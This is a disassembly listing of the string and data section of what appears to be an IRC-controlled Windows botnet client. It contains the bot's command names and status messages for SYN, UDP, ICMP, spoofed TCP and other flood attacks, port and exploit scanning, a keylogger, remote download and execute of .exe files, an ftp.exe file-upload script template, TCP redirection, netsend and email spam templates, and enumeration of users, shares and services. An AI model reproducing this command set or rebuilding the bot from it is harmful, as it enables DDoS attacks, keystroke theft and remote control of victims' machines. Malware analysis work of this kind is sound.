unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F90o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 10h
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB0C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB48	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 10h
unk_42AB90	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 10h
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C48o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:00437C00o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 10h
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C58o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD20	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD3C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD88	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 10h
unk_42ADB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
unk_42ADD0	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AEA0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AEDC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_42AF00	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 10h
dword_42AF20	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF4C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF98	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42AFF0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B024	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B050	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B078	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
